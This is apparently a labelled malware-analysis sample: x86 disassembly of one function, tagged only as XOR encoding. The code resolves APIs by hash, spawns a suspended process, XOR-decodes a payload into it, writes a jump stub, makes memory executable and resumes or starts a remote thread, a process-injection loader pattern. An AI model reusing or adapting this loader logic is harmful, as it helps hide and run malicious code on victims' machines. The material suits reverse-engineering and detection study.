Function at 0x6e0260
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x56c
call fcn.006d8320
call fcn.006d4250
call fcn.006d5100
call fcn.006d73d0
mov esi, 0xffffffff
call fcn.006d1770
test al, al
je 0x6e0684
call fcn.006ea9f0
cmp dword [0x6f4afc], 0
je 0x6e066f
push 0xfda8b77
push 0
call fcn.006de600
add esp, 8
lea esi, [ebp - 0x578]
push 0x104
push esi
push dword [0x6f4afc]
call eax
mov eax, dword [0x6f4afc]
test eax, eax
mov dword [ebp - 0x1c], eax
je 0x6e066f
lea ebx, [ebp - 0x84]
push 0x44
push ebx
call fcn.006de110
add esp, 8
lea eax, [ebp - 0xa3]
mov dword [ebp - 0x84], 0x44
push eax
push 0x6f05f3
call fcn.006da490
add esp, 8
lea edi, [ebp - 0x370]
push 0xffffffffffffffff
push eax
push edi
call fcn.006e71e0
add esp, 0xc
push 0x1e16041
push 0
call fcn.006de600
add esp, 8
lea ecx, [ebp - 0x3c]
push ecx
push ebx
push 0
push 0
push 4
push 0
push 0
push 0
push edi
push 0
call eax
cmp eax, 1
jne 0x6e066f
push dword [ebp - 0x1c]
call fcn.006e12b0
add esp, 4
mov ebx, eax
push 0xfee9d362
call fcn.006d3d70
add esp, 4
push eax
push 0
call fcn.006de600
add esp, 8
push 4
push 0x3000
push ebx
push 0
push dword [ebp - 0x3c]
call eax
test eax, eax
je 0x6e066f
mov dword [0x6f4134], eax
mov ecx, edi
push esi
mov dword [ebp - 0x18], eax
call fcn.006ef4c0
push edi
call fcn.006e8ef0
add esp, 4
mov ecx, edi
call fcn.006ee980
push ebx
mov edi, dword [ebp - 0x1c]
push edi
call fcn.006dfcf0
add esp, 8
mov esi, eax
push edi
push eax
call fcn.006d74d0
add esp, 8
push dword [ebp - 0x18]
mov dword [ebp - 0x2c], esi
push esi
call fcn.006e99b0
add esp, 8
call fcn.006e6b60
test ebx, ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], ebx
je 0x6e0477
mov esi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x28]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi]
mov dword [ebp - 0x20], eax
not al
movzx eax, al
push eax
push 0x74
call fcn.006d4b80
add esp, 8
mov byte [ebp - 0xd], al
push 0x8b
push dword [ebp - 0x20]
call fcn.006d4b80
add esp, 8
mov byte [ebp - 0x20], al
push 0xff
push ebx
call fcn.006d7720
add esp, 8
mov dword [ebp - 0x24], ebx
and al, 0x74
and bl, 0x8b
movzx ecx, byte [ebp - 0xd]
or bl, al
movzx eax, byte [ebp - 0x20]
push eax
push ecx
call fcn.006d30b0
add esp, 8
xor al, bl
mov byte [esi], al
push 0xf6233b52
call fcn.006d3d70
add esp, 4
mov ebx, dword [ebp - 0x24]
mov ecx, eax
mov edx, ebx
shr ebx, 0x18
shl edx, cl
push ebx
push edx
call fcn.006d72c0
add esp, 8
inc esi
mov ebx, eax
dec edi
jne 0x6e03f0
mov dword [ebp - 0x40], 0
push 0xa48b0f9
push 0
call fcn.006de600
add esp, 8
lea ebx, [ebp - 0x40]
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x2c]
push dword [ebp - 0x18]
push dword [ebp - 0x3c]
call eax
cmp eax, 1
jne 0x6e066f
push 0x8cae838
push 0
call fcn.006de600
add esp, 8
push 4
push 0x3000
push 0x42
push 0
push dword [ebp - 0x3c]
call eax
test eax, eax
je 0x6e066f
mov edi, eax
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov byte [ebp - 0x84], 0xbe
mov dword [ebp - 0x83], esi
mov byte [ebp - 0x7f], 0xb9
mov dword [ebp - 0x7e], eax
push 0xe2
call fcn.006d9600
add esp, 4
mov byte [ebp - 0x7a], al
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x79], eax
lea eax, [ebp - 0x93]
push eax
push 0xf
push 0x6f0ca2
call fcn.006ed960
add esp, 0xc
lea ecx, [ebp - 0x75]
push 0xe
push eax
push ecx
call fcn.006df0e0
add esp, 0xc
mov byte [ebp - 0x67], 0xe9
push 0xb260bc6f
call fcn.006d3d70
add esp, 4
mov ecx, 0xbc2a6b19
sub ecx, dword [ebp - 0x1c]
add ecx, esi
sub ecx, edi
add ecx, eax
mov dword [ebp - 0x66], ecx
push 0xa48b0f9
push 0
call fcn.006de600
add esp, 8
push ebx
push 0x42
lea ecx, [ebp - 0x84]
push ecx
push edi
push dword [ebp - 0x3c]
call eax
cmp eax, 1
jne 0x6e066f
push 0x2cc
mov esi, edi
lea edi, [ebp - 0x370]
push edi
call fcn.006de110
add esp, 8
push 0xf6223b5b
call fcn.006d3d70
add esp, 4
mov dword [ebp - 0x370], eax
push 0xf298fcbe
call fcn.006d3d70
add esp, 4
push eax
push 0
call fcn.006de600
add esp, 8
push edi
push dword [ebp - 0x38]
call eax
mov edi, eax
push 0xd1a4de8
push 0
call fcn.006de600
add esp, 8
push ebx
push 0x10
push 0x42
push esi
push dword [ebp - 0x3c]
call eax
cmp eax, 1
jne 0x6e066f
cmp edi, 1
mov ecx, 1
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x2b8], esi
jne 0x6e0612
push 0x4ba87e4
push 0
call fcn.006de600
add esp, 8
lea ecx, [ebp - 0x370]
push ecx
push dword [ebp - 0x38]
call eax
xor ecx, ecx
cmp eax, 1
setne cl
mov esi, ecx
push 0xd1a4de8
push 0
call fcn.006de600
add esp, 8
push ebx
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x3c]
call eax
cmp eax, 1
jne 0x6e066f
test esi, esi
je 0x6e065b
push 0x68b1574
push 0
call fcn.006de600
add esp, 8
push 0
push 0
push 0
push dword [ebp - 0x24]
push 0
push 0
push dword [ebp - 0x3c]
jmp 0x6e066d
push 0xb232744
push 0
call fcn.006de600
add esp, 8
push dword [ebp - 0x38]
call eax
push 0x7f96c13
push 0
call fcn.006de600
add esp, 8
push 0
call eax
xor esi, esi
mov eax, esi
add esp, 0x56c
pop esi
pop edi
pop ebx
pop ebp
ret